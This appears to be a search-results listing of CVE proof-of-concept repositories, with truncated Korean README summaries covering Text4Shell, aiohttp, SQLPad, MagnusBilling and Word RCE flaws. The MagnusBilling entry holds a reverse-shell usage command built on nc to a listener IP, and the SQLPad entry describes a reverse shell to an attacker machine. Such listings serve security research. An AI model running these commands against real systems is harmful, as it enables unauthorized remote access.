20834 matches found
CVE-2022-42889-Text4Shell-Exploit-POC
CVE-2022-42889-Text4Shell-Exploit-POC CVE-2022-42889 Text4Shell 익스플로잇 POC...
CVE-2020-5902
CVE-2020-5902 CVE-2020-5902 POC bash 버전 익스플로잇...
CVE-2024-23334-PoC
CVE-2024-23334-PoC 이 저장소는 CVE-2024-23334에 대한 개념 증명POC으로, aiohttp에서 로컬 파일 포함LFI으로 이어지는 버그를 재현하려는 시도를 보여줍니다. !CAUTION 면책 조항: 이 POC는 교육 목적으로만 제공됩니다. 실제 환경에서는 사용하지 마십시오. 설치 1. 저장소를 클론하고 환경을 설정합니다. git clone https://github.com/Betan423/CVE-2024-23334-PoC cd CVE-2024-23334-PoC 가상 환경에서 실행 python3 -m ven...
CVE-2024-23334-PoC
Path Traversal PoC CVE-2024-23334 이 스크립트는 CVE-2024-23334 취약점Path Traversal에 대한 개념 증명PoC입니다. 스크립트는 HTTP 요청에서 경로를 조작하여 허용된 루트 디렉토리 외부의 파일에 액세스하려고 시도합니다. 요구 사항 이 스크립트를 실행하려면 다음 종속 항목이 설치되어 있어야 합니다: Python 3.x curl 시스템에 설치되어 있어야 함 requests 및 colorama 요청 처리 및 색상 출력을 위함 file 변수는 대상으로 지정할 파일입니다. 다음과 같이 ...
CVE-2025-55184_CVE-2025-67779
CVE-2025-55184CVE-2025-67779 React의 취약점인 CVE-2025-55184 및 CVE-2025-67779에 대한 PoC...
CVE-2022-0944_RCE_POC
CVE-2022-0944 SQLPad RCE CVE-2022-0944에 대한 개념 증명 익스플로잇으로, 공격자 PC로의 리버스 쉘을 통한 RCE를 유발합니다. 사용법 usage: script.py URL IP PORT positional arguments: URL SQLPad의 URL IP 리버스 쉘을 위한 리스너 호스트 주소 PORT 리버스 쉘을 위한 리스너 포트 예시: 익스플로잇 실행 ./script.py http://admin.sightless.htb 10.10.11.2 443 면책 조항 이 저장소에는 사이버 보안 학습...
CVE-2021-42325-
CVE-2021-42325- CVE-2021-42325 POC 링크: https://www.exploit-db.com/exploits/50502...
CVE-2023-30258-RCE-POC
CVE-2023-30258-RCE-POC n0o0b 작성의 CVE-2023-30258-RCE POC 사용법 usage: poc.py -h -u URL -c CMD 예시: python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help 도움말 메시지를 표시하고 종료합니다 -u URL, --url URL 대상 URL -c CMD, --cmd CMD 실행할 명령...
CVE-2019-11707-PoC
CVE https://vulners.com/cve/CVE-2019-11707...
CVE-2025-6554
CVE-2025-6554 취약점 재현하기 for macOS: brew intsall ninja git clone https://chromium.googlesource.com/chromium/tools/depottools.git export PATH=/path/to/depottools:$PATH fetch v8 cd v8 git checkout 13.8.500258 gclient sync -D sh v8asan.sh autoninja -C out/arm64.asan d8...
ptrace-vuln
ptrace-vuln 취약점 CVE-2019-13272를 확인하기 위한 것입니다. 이는 LLM이 생성한 샘플 개념 증명PoC이며 모든 경우를 다루지 않습니다. 기본 아이디어는 시스템이 강화되지 않고 ptrace가 제거되지 않은 경우 취약점이 적용 가능한 것으로 간주되어야 한다는 것입니다. 코드를 컴파일하고 실행하는 단계: gcc poc.c -o test chmod +x test ./test 샘플 출력: Syscall: 158 Syscall: 158 Syscall: 218 Syscall: 218 Syscall: 273...
CVE-2022-30333
CVE-2022-30333의 개념 증명입니다. 이는 unRAR 6.11 이전 버전에 존재하는 경로 탐색 취약점입니다. AttackerKB 게시물을 위한 익스플로잇 데모로 제작했으며, 곧 Metasploit 모듈에 통합할 예정입니다! 기본적으로 대상경로 탐색 포함과 파일 데이터를 제공하면 이 도구가 해당 위치에 파일을 추출할 .rar 파일을 생성합니다. 최대 파일 길이는 104바이트이며, 최대 파일 데이터 크기는 4096바이트입니다. 이는 취약점 자체의 한계가 아니라, 파일을 생성할 때 제가 선택한 값입니다. 예를 들어,...
CVE-2019-0708
cve-2019-0708 충돌 poc...
Exploit-PoC-CVE-2021-40444-inject-ma-doc-vao-docx
CVE-2021-40444 PoC CVE-2021-40444 Microsoft Office Word 원격 코드 실행을 악용하는 악성 docx 생성기 이 스크립트는 실제 공격에 사용된 샘플938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 docx 파일에 대한 리버스 엔지니어링을 기반으로 제작되었습니다. 먼저 lcab을 설치해야 합니다 sudo apt-get install lcab 수동 재현 절차는 REPRODUCE.md를 확인하세요 생성된 cab이 작동하지 않으면...
CVE-2024-22262
Spring CVE-2024-22262 개념 증명 이 저장소는 이 CVE를 탐구하기 위해 특별히 올바른 버전의 Development Container 환경과 Spring 애플리케이션을 포함하고 있습니다. 설정 지침 저장소를 로컬 머신에 클론하고 Docker와 선호하는 IDE를 사용하세요. 또는 다음과 같이 GitPod 온라인을 사용하세요: https://gitpod.io/ 또는 GitPod Desktop 사용: 1. GitPod Desktop 다운로드 후 설치합니다. 2. Projects를 클릭합니다. 3. New...
CVE-2020-11110-Proof-of-Concept
이 저장소에는 README가 없습니다...
CVE-2023-21716-POC
CVE-2023-21716-POC Microsoft Word 원격 코드 실행 취약점...
CVE-2023-46805
제목: CVE-2023-46805에 대한 개념 증명PoC - 교육 목적으로만 사용 라이선스: 본 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스CC BY 4.0 하에 제공됩니다. 저작자가 적절히 표시되는 조건으로 본 저작물을 공유, 복제, 배포, 전송하거나 개작 및 기타 목적으로 자유롭게 사용할 수 있습니다. 면책 조항: 본 개념 증명PoC은 교육 및 사이버보안 연구 목적으로만 제공됩니다. 저자, 소속 기관 또는 본 콘텐츠의 생성, 제작, 전달에 관여한 다른 어떤 당사자도 본 콘텐츠의 사용 또는 사용 불가로 인해...